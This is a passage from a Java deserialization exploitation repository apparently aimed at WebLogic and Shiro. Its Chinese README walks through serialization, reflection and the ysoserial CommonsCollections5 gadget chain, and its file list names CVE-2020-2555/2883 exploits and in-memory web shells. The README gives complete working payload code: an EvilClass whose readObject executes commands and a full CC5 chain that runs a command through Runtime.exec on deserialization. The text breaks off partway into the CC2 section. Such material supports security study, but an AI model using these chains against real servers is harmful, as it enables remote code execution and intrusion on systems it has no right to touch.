├── .gitignore
├── .idea
├── .gitignore
├── compiler.xml
├── jarRepositories.xml
├── libraries
│ └── lib.xml
├── misc.xml
├── uiDesigner.xml
└── vcs.xml
├── JavaSerialize.iml
├── Java反序列化.assets
├── antshell.gif
├── image-20200822105256120.png
├── image-20200822135700699.png
├── image-20200822140627663.png
├── image-20200822144101188.png
├── image-20200822152423212.png
├── image-20200822155342130.png
├── image-20200822163304144.png
├── image-20200822163450161.png
├── image-20200822172647180.png
├── image-20200822173106095.png
├── image-20200824101352678.png
├── image-20200824110636439.png
├── image-20200824110840912.png
├── image-20200824111728416.png
├── image-20200824113600901.png
├── image-20200824113637777.png
└── image-20200825105630712.png
├── README.md
├── calc.jar
├── pom.xml
└── src
└── main
├── java
└── org
│ └── chabug
│ ├── cve
│ ├── CVE_2020_2555.java
│ └── CVE_2020_2883.java
│ ├── demo
│ ├── CC2.java
│ ├── CC5.java
│ ├── Calc.java
│ ├── EvilSerialize.java
│ ├── MyCC.java
│ ├── ReflectionDemo.java
│ └── SerializeAndDeserialize.java
│ ├── entity
│ ├── Dog.java
│ ├── EvilClass.java
│ ├── Person.java
│ └── ReflectionClass.java
│ ├── loader
│ ├── BytecodeLoaderLoader.java
│ ├── MyLoader.java
│ └── URLClassLoaderDemo.java
│ ├── memshell
│ ├── AntSwordFilterShell.java
│ ├── CVE_2020_2883_URLClassLoader.java
│ └── InjectFilterShell.java
│ ├── ser
│ ├── cc2.ser
│ └── cc5.ser
│ ├── shiro
│ └── Shiro550.java
│ └── util
│ ├── EncryptUtil.java
│ └── Serializables.java
└── resources
└── lib
├── coherence.jar
└── ysoserial-0.0.6-SNAPSHOT-all.jar
/.gitignore:
--------------------------------------------------------------------------------
1 | # Created by .ignore support plugin (hsz.mobi)
2 | ### Maven template
3 | target/
4 | pom.xml.tag
5 | pom.xml.releaseBackup
6 | pom.xml.versionsBackup
7 | pom.xml.next
8 | release.properties
9 | dependency-reduced-pom.xml
10 | buildNumber.properties
11 | .mvn/timing.properties
12 | # https://github.com/takari/maven-wrapper#usage-without-binary-jar
13 | .mvn/wrapper/maven-wrapper.jar
14 |
15 | ### Java template
16 | # Compiled class file
17 | *.class
18 |
19 | # Log file
20 | *.log
21 |
22 | # BlueJ files
23 | *.ctxt
24 |
25 | # Mobile Tools for Java (J2ME)
26 | .mtj.tmp/
27 |
28 | # Package Files #
29 | *.war
30 | *.nar
31 | *.ear
32 | *.zip
33 | *.tar.gz
34 | *.rar
35 |
36 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
37 | hs_err_pid*
38 |
39 |
--------------------------------------------------------------------------------
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/jarRepositories.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/.idea/libraries/lib.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/.idea/uiDesigner.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | -
6 |
7 |
8 | -
9 |
10 |
11 | -
12 |
13 |
14 | -
15 |
16 |
17 | -
18 |
19 |
20 |
21 |
22 |
23 | -
24 |
25 |
26 |
27 |
28 |
29 | -
30 |
31 |
32 |
33 |
34 |
35 | -
36 |
37 |
38 |
39 |
40 |
41 | -
42 |
43 |
44 |
45 |
46 | -
47 |
48 |
49 |
50 |
51 | -
52 |
53 |
54 |
55 |
56 | -
57 |
58 |
59 |
60 |
61 | -
62 |
63 |
64 |
65 |
66 | -
67 |
68 |
69 |
70 |
71 | -
72 |
73 |
74 | -
75 |
76 |
77 |
78 |
79 | -
80 |
81 |
82 |
83 |
84 | -
85 |
86 |
87 |
88 |
89 | -
90 |
91 |
92 |
93 |
94 | -
95 |
96 |
97 |
98 |
99 | -
100 |
101 |
102 | -
103 |
104 |
105 | -
106 |
107 |
108 | -
109 |
110 |
111 | -
112 |
113 |
114 |
115 |
116 | -
117 |
118 |
119 | -
120 |
121 |
122 |
123 |
124 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/JavaSerialize.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/Java反序列化.assets/antshell.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/antshell.gif
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200822105256120.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822105256120.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200822135700699.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822135700699.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200822140627663.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822140627663.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200822144101188.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822144101188.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200822152423212.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822152423212.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200822155342130.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822155342130.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200822163304144.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822163304144.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200822163450161.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822163450161.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200822172647180.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822172647180.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200822173106095.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822173106095.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200824101352678.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200824101352678.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200824110636439.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200824110636439.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200824110840912.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200824110840912.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200824111728416.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200824111728416.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200824113600901.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200824113600901.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200824113637777.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200824113637777.png
--------------------------------------------------------------------------------
/Java反序列化.assets/image-20200825105630712.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200825105630712.png
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Java反序列化技术分享
2 |
3 | 本次分享涉及的东西有以下几点:
4 |
5 | 1. Java序列化和反序列化基础
6 | 2. 为什么在反序列化的时候会产生漏洞?
7 | 3. Java反射
8 | 4. ysoserial CommonsCollections2、CommonsCollections5
9 | 5. Java ClassLoader 加载类的几种方法
10 | 6. WebLogic CVE-2020-2555 CVE-2020-2883 RCE
11 | 7. Shiro-550 rememberMe 硬编码导致的反序列化RCE
12 | 8. WebLogic + Shiro 反序列化一键注册filter内存shell
13 |
14 | ## Java序列化和反序列化基础
15 |
16 | > Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化,将Java对象转为字节序列。
17 | >
18 | > Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
19 |
20 | 举一个简单的例子,见代码`SerializeAndDeserialize` **ps:这里重点关注下在代码中的强制转换类型**
21 |
22 | ```java
23 | package org.chabug.demo;
24 |
25 | import org.chabug.entity.Dog;
26 | import org.chabug.entity.Person;
27 | import org.chabug.util.Serializables;
28 |
29 | /*
30 | 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化
31 | 并且Java内置的几大数据类型也可被序列化,因为他们都继承了Object类
32 | */
33 |
34 | public class SerializeAndDeserialize {
35 |
36 | public static void main(String[] args) throws Exception {
37 | byte[] bytes;
38 | String s1 = "I'm a String Object....";
39 | bytes = Serializables.serializeToBytes(s1);
40 | Object o1 = Serializables.deserializeFromBytes(bytes);
41 | System.out.println(o1);
42 |
43 | String[] s2 = new String[]{"tom", "bob", "jack"};
44 | bytes = Serializables.serializeToBytes(s2);
45 | String[] o2 = (String[])Serializables.deserializeFromBytes(bytes);
46 | System.out.println(o2);
47 |
48 | int i = 123;
49 | bytes = Serializables.serializeToBytes(i);
50 | int o3 = (Integer) Serializables.deserializeFromBytes(bytes);
51 | System.out.println(o3);
52 |
53 | // 一只名叫woody的狗
54 | Dog dog = new Dog();
55 | dog.setName("woody");
56 |
57 | // tom
58 | Person tom = new Person();
59 | tom.setAge(14);
60 | tom.setName("tom");
61 | tom.setSex("男");
62 | tom.setDog(dog);
63 |
64 | bytes = Serializables.serializeToBytes(tom);
65 | Person o = (Person) Serializables.deserializeFromBytes(bytes);
66 | System.out.println(o);
67 |
68 | }
69 | }
70 | ```
71 |
72 | String、Integer、数组、Object对象等Java内置的数据类型均可实现序列化,我们自己写的Person、Dog类只要实现了Serializable接口即可实现序列化和反序列化。
73 |
74 |
75 |
76 | ## 为什么在反序列化的时候会产生漏洞?
77 |
78 | 来看一段代码,现在有一个恶意的实体类EvilClass
79 |
80 | ```java
81 | package org.chabug.entity;
82 |
83 | import java.io.ObjectInputStream;
84 | import java.io.Serializable;
85 |
86 | public class EvilClass implements Serializable {
87 | String name;
88 |
89 | public EvilClass() {
90 | System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!");
91 | }
92 |
93 | public EvilClass(String name) {
94 | System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!");
95 | this.name = name;
96 | }
97 |
98 | public String getName() {
99 | System.out.println(this.getClass() + "的getName被调用!!!!!!");
100 | return name;
101 | }
102 |
103 | public void setName(String name) {
104 | System.out.println(this.getClass() + "的setName被调用!!!!!!");
105 | this.name = name;
106 | }
107 |
108 | @Override
109 | public String toString() {
110 | System.out.println(this.getClass() + "的toString()被调用!!!!!!");
111 | return "EvilClass{" +
112 | "name='" + getName() + '\'' +
113 | '}';
114 | }
115 |
116 | private void readObject(ObjectInputStream in) throws Exception {
117 | //执行默认的readObject()方法
118 | in.defaultReadObject();
119 | System.out.println(this.getClass() + "readObject()被调用!!!!!!");
120 | Runtime.getRuntime().exec(new String[]{"cmd", "/c", name});
121 | }
122 | }
123 | ```
124 |
125 | 其readObject中存在执行命令的代码`Runtime.getRuntime().exec(new String[]{"cmd", "/c", name})`,name参数是要执行的命令。那么我们可以构造一个恶意的对象,将其name属性赋值为要执行的命令,当反序列化触发readObject时就会RCE。如下
126 |
127 | ```java
128 | package org.chabug.demo;
129 |
130 | import org.chabug.entity.EvilClass;
131 | import org.chabug.util.Serializables;
132 |
133 | public class EvilSerialize {
134 | public static void main(String[] args) throws Exception {
135 | EvilClass evilObj = new EvilClass();
136 | evilObj.setName("calc");
137 | byte[] bytes = Serializables.serializeToBytes(evilObj);
138 | EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes);
139 | System.out.println(o);
140 | }
141 | }
142 | ```
143 |
144 | 
145 |
146 | 那么现在我们知道了反序列化是如何被RCE的,但是开发中也不可能直接这么写,所以这就涉及到了利用链的寻找。反序列化漏洞需要三个东西
147 |
148 | 1. 反序列化入口(source)
149 | 2. 目标方法(sink)
150 | 3. 利用链(gadget chain)
151 |
152 | 细心再看上图中的输出结果,不仅仅触发了readObject方法,还触发了toString()、无参构造、set、get方法,那么在实际寻找利用链的过程中就不仅仅需要关注readObject()的方法了。
153 |
154 |
155 |
156 | 然后到现在我们就需要了解**反射**这个东西了,上文中我们提到了**强制类型转换**的问题,在实际开发中,在readObject中会进行逻辑处理,当不知道传入对象的具体数据类型时会通过反射来判断调用,而反射就是我们通向RCE的重要手段。
157 |
158 | ## Java反射
159 |
160 | 什么是反射?"反射"中有一个"反"字,那么解释反射就得从"正射"开始,看代码。这是我的实体类
161 |
162 | ```java
163 | package org.chabug.entity;
164 |
165 | import java.io.IOException;
166 |
167 | public class ReflectionClass {
168 | String name;
169 |
170 | public ReflectionClass(String name) {
171 | this.name = name;
172 | }
173 |
174 | public ReflectionClass() {
175 | }
176 |
177 | public String say() {
178 | return this.name;
179 | }
180 |
181 | private void evil(String cmd) {
182 | try {
183 | Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
184 | } catch (IOException e) {
185 | e.printStackTrace();
186 | }
187 | }
188 |
189 | @Override
190 | public String toString() {
191 | return "ReflectionClass{" +
192 | "name='" + name + '\'' +
193 | '}';
194 | }
195 |
196 | public String getName() {
197 | return name;
198 | }
199 |
200 | public void setName(String name) {
201 | this.name = name;
202 | }
203 | }
204 | ```
205 |
206 | 正常写法
207 |
208 | ```java
209 | package org.chabug.demo;
210 |
211 | import org.chabug.entity.ReflectionClass;
212 |
213 | public class ReflectionDemo {
214 | public static void main(String[] args) {
215 | ReflectionClass demo = new ReflectionClass();
216 | demo.setName("hello");
217 | System.out.println(demo.say());
218 | // demo.evil("calc"); // 不能够调用private方法
219 | }
220 | }
221 | ```
222 |
223 | 很简单就是通过new创建了一个ReflectionClass实例,然后通过实例去调用其所属方法,这就是"正射"。但是当你new的时候不知道类名怎么办?受private保护的方法怎么调用?反射的作用就体现出来了。看下面这一段代码
224 |
225 | ```java
226 | package org.chabug.demo;
227 |
228 | import org.chabug.entity.ReflectionClass;
229 |
230 | import java.lang.reflect.Method;
231 |
232 | public class ReflectionDemo {
233 | public static void main(String[] args) throws Exception {
234 | // new
235 | Class> aClass = Class.forName("org.chabug.entity.ReflectionClass");
236 | Object o = aClass.newInstance();
237 |
238 | // setName("jack")
239 | Method setName = aClass.getDeclaredMethod("setName",String.class);
240 | setName.invoke(o, "jack");
241 |
242 | // say()
243 | Method say = aClass.getDeclaredMethod("say",null);
244 | Object o1 = say.invoke(o, null);
245 | System.out.println(o1);
246 |
247 | // evil("calc")
248 | // 反射可以修改方法的修饰符来调用private方法
249 | Method evil = aClass.getDeclaredMethod("evil", String.class);
250 | evil.setAccessible(true);
251 | evil.invoke(o,"calc");
252 | }
253 | }
254 | ```
255 |
256 | 不需要提前知道类名,用到`org.chabug.entity.ReflectionClass`类改一改通过参数传进来就行了,并且可以通过setAccessible来获取private保护的方法或字段。
257 |
258 | 接下来我们从漏洞入手,深入了解反射在反序列化中的作用,以及反序列化调用链的挖掘。
259 |
260 | ## ysoserial CommonsCollections2、CommonsCollections5
261 |
262 | ysoserial 是一个生成Java反序列化exp的工具,其中继承了一些一直的exp,比如的CommonsCollections几条利用链。这次要分析的是CC2、CC5这两条链,之所以分析这两条,是为了在CC2中使用了定义字节码的操作,CC5中是为了对反射和链式调用加深理解。
263 |
264 |
265 |
266 | 先来看更方便理解的CC5链条。
267 |
268 | ### CommonsCollections5
269 |
270 | 漏洞出现在`org.apache.commons.collections.functors.InvokerTransformer#transform`
271 |
272 | ```java
273 | public Object transform(Object input) {
274 | if (input == null) {
275 | return null;
276 | } else {
277 | try {
278 | Class cls = input.getClass();
279 | Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
280 | return method.invoke(input, this.iArgs);
281 | } catch (NoSuchMethodException var5) {
282 | throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
283 | } catch (IllegalAccessException var6) {
284 | throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
285 | } catch (InvocationTargetException var7) {
286 | throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
287 | }
288 | }
289 | }
290 | ```
291 |
292 | 对比反射章节的代码可知这是很明显的反射用法,用正射的代码来解释的话就是
293 |
294 | ```java
295 | input.iMethodName(iArgs);
296 | ```
297 |
298 | this.iMethodName、this.iParamTypes、this.iArgs均在构造方法中可控。由此可以调用input对象的任意方法,传递任意参数。
299 |
300 | ```java
301 | public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
302 | this.iMethodName = methodName;
303 | this.iParamTypes = paramTypes;
304 | this.iArgs = args;
305 | }
306 | ```
307 |
308 | 由此先来一个执行命令的代码
309 |
310 | ```java
311 | package org.chabug.demo;
312 |
313 | import org.apache.commons.collections.functors.InvokerTransformer;
314 |
315 | public class CC5 {
316 | public static void main(String[] args) throws Exception {
317 | InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
318 | invokerTransformer.transform(Runtime.getRuntime());
319 | }
320 | }
321 | ```
322 |
323 | 因为Runtime类是单例模式的原因,需要通过getRuntime()获取到Runtime运行时对象,传入transform()之后弹出计算器。
324 |
325 | 
326 |
327 | 但是我们知道,在反序列化时只会自动执行readObject(),如果此时直接构造InvokerTransformer对象,仍需解决两个问题
328 |
329 | 1. 自动执行Runtime.getRuntime()
330 | 2. 自动执行invokerTransformer.transform()
331 |
332 | 先来解决第一个问题,在org.apache.commons.collections.functors.ChainedTransformer#transform中可以实现链式调用
333 |
334 | ```java
335 | public Object transform(Object object) {
336 | for(int i = 0; i < this.iTransformers.length; ++i) {
337 | object = this.iTransformers[i].transform(object);
338 | }
339 | return object;
340 | }
341 | ```
342 |
343 | this.iTransformers的定义是Transformer数组
344 |
345 | ```java
346 | private final Transformer[] iTransformers;
347 | ```
348 |
349 | Transformer是一个接口,InvokerTransformer也实现了这个接口。
350 |
351 | 
352 |
353 | 根据Java隐式类型转换的原则,我们可以定义一个Transformer数组,里面放入多个InvokerTransformer来实现多次反射调用,拿到Runtime.getRuntime().exec()
354 |
355 | ```java
356 | package org.chabug.demo;
357 |
358 | import org.apache.commons.collections.Transformer;
359 | import org.apache.commons.collections.functors.ChainedTransformer;
360 | import org.apache.commons.collections.functors.ConstantTransformer;
361 | import org.apache.commons.collections.functors.InvokerTransformer;
362 |
363 | public class CC5 {
364 | public static void main(String[] args) throws Exception {
365 | // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
366 | Transformer[] transformers = new Transformer[]{
367 | // 传入Runtime类
368 | new ConstantTransformer(Runtime.class),
369 | // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
370 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
371 | // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
372 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
373 | // 调用exec("calc")
374 | new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
375 | };
376 | Transformer chain = new ChainedTransformer(transformers);
377 | chain.transform(null);
378 | }
379 | }
380 | ```
381 |
382 | 其中很巧妙的是通过ConstantTransformer类的构造方法传入了Runtime.class,这样就不需要我们自己传入Runtime了。
383 |
384 |
385 |
386 | 现在就需要解决第二个问题,如何自动触发transform()。都知道readObject()在反序列化时会执行,那么在那个类的readObject()直接或者间接地调用了transform()呢?
387 |
388 |
389 |
390 | 在org.apache.commons.collections.map.LazyMap#get中调用了transform()
391 |
392 | ```java
393 | public Object get(Object key) {
394 | if (!super.map.containsKey(key)) {
395 | Object value = this.factory.transform(key);
396 | super.map.put(key, value);
397 | return value;
398 | } else {
399 | return super.map.get(key);
400 | }
401 | }
402 | ```
403 |
404 | 看这个类的构造方法和factory字段
405 |
406 | ```java
407 | protected final Transformer factory;
408 |
409 | public static Map decorate(Map map, Transformer factory) {
410 | return new LazyMap(map, factory);
411 | }
412 | ```
413 |
414 | factory字段是final、protected修饰,但是他有一个public的方法decorate()来生成该类对象,那么就可以构造出如下
415 |
416 | ```java
417 | HashMap hashMap = new HashMap();
418 | Map map = LazyMap.decorate(hashMap, chain);
419 | map.get("test"); //执行这个就会弹出计算器 map.get() > transform()
420 | ```
421 |
422 | 此时在寻找哪里调用了map的get()方法 org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
423 |
424 | ```java
425 | private final Map map;
426 | private final Object key;
427 |
428 | public TiedMapEntry(Map map, Object key) {
429 | this.map = map;
430 | this.key = key;
431 | }
432 | public Object getKey() {
433 | return this.key;
434 | }
435 | public Object getValue() {
436 | return this.map.get(this.key);
437 | }
438 | public String toString() {
439 | return this.getKey() + "=" + this.getValue();
440 | }
441 | ```
442 |
443 | getValue()刚好调用map.get(),this.key我们也可控。而toString()调用了this.getValue()。现在继续构造
444 |
445 | ```java
446 | HashMap hashMap = new HashMap();
447 | Map map = LazyMap.decorate(hashMap, chain);
448 | // map.get("test");
449 | TiedMapEntry key = new TiedMapEntry(map, "key");
450 | key.toString(); // toString > getValue() > map.get()
451 | ```
452 |
453 | 那么现在的问题就是如何readObject自动触发toString(),这就简单了,在jdk内置类中有一个BadAttributeValueExpException异常类,其readObject()会执行toString()
454 |
455 | ```java
456 | public BadAttributeValueExpException (Object val) {
457 | this.val = val == null ? null : val.toString();
458 | }
459 | public String toString() {
460 | return "BadAttributeValueException: " + val;
461 | }
462 |
463 | private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
464 | ObjectInputStream.GetField gf = ois.readFields();
465 | Object valObj = gf.get("val", null);
466 |
467 | if (valObj == null) {
468 | val = null;
469 | } else if (valObj instanceof String) {
470 | val= valObj;
471 | } else if (System.getSecurityManager() == null
472 | || valObj instanceof Long
473 | || valObj instanceof Integer
474 | || valObj instanceof Float
475 | || valObj instanceof Double
476 | || valObj instanceof Byte
477 | || valObj instanceof Short
478 | || valObj instanceof Boolean) {
479 | val = valObj.toString();
480 | } else { // the serialized object is from a version without JDK-8019292 fix
481 | val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
482 | }
483 | }
484 | ```
485 |
486 | 因为System.getSecurityManager()默认为null,所以触发val = valObj.toString(),进入到TiedMapEntry.toString(),最终的payload
487 |
488 | ```java
489 | package org.chabug.demo;
490 |
491 | import org.apache.commons.collections.Transformer;
492 | import org.apache.commons.collections.functors.ChainedTransformer;
493 | import org.apache.commons.collections.functors.ConstantTransformer;
494 | import org.apache.commons.collections.functors.InvokerTransformer;
495 | import org.apache.commons.collections.keyvalue.TiedMapEntry;
496 | import org.apache.commons.collections.map.LazyMap;
497 | import org.chabug.util.Serializables;
498 |
499 | import javax.management.BadAttributeValueExpException;
500 | import java.lang.reflect.Field;
501 | import java.util.HashMap;
502 | import java.util.Map;
503 |
504 | public class CC5 {
505 | public static void main(String[] args) throws Exception {
506 | // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
507 | Transformer[] transformers = new Transformer[]{
508 | // 传入Runtime类
509 | new ConstantTransformer(Runtime.class),
510 | // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
511 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
512 | // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
513 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
514 | // 调用exec("calc")
515 | new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
516 | };
517 | Transformer chain = new ChainedTransformer(transformers);
518 | // chain.transform(null);
519 | HashMap hashMap = new HashMap();
520 | Map map = LazyMap.decorate(hashMap, chain);
521 | // map.get("asd");
522 | TiedMapEntry key = new TiedMapEntry(map, "key");
523 | // key.toString();
524 |
525 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
526 | Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
527 | field.setAccessible(true);
528 | field.set(badAttributeValueExpException, key);
529 |
530 |
531 | byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException);
532 | Serializables.deserializeFromBytes(bytes);
533 | }
534 | }
535 | ```
536 |
537 | 
538 |
539 | 需要注意的是,在声明BadAttributeValueExpException对象时,并没有直接传入entry参数,而是用反射赋值。因为BadAttributeValueExpException的构造函数就会判断是否为空,如果不为空在序列化时就会执行toString(),那么反序列化时,因为传入的entry已经是字符串,所以就不会触发toString方法了。
540 |
541 |
542 |
543 | 小结:灵活运用反射加上链式调用,然后寻找gadget成功RCE。
544 |
545 | ```java
546 | /*
547 | Gadget chain:
548 | ObjectInputStream.readObject()
549 | BadAttributeValueExpException.readObject()
550 | TiedMapEntry.toString()
551 | LazyMap.get()
552 | ChainedTransformer.transform()
553 | ConstantTransformer.transform()
554 | InvokerTransformer.transform()
555 | Method.invoke()
556 | Class.getMethod()
557 | InvokerTransformer.transform()
558 | Method.invoke()
559 | Runtime.getRuntime()
560 | InvokerTransformer.transform()
561 | Method.invoke()
562 | Runtime.exec()
563 | Requires:
564 | commons-collections
565 | */
566 | ```
567 |
568 | ### CommonsCollections2
569 |
570 | 在介绍CC2之前,首先需要了解下Java字节码。在Java中所有的Java代码都需要编译成class字节码文件来交给jvm去执行,字节码更像是一种汇编语言,可读性很差,但是仍然有很多优秀的库来操作、修改、编辑字节码来实现编程,比如asm、cglib和javassist。在ysoserial工具中用到的就是javassist库。先来看下ysoserial中cc2的payload是怎么写的。
571 |
572 | ```java
573 | public Queue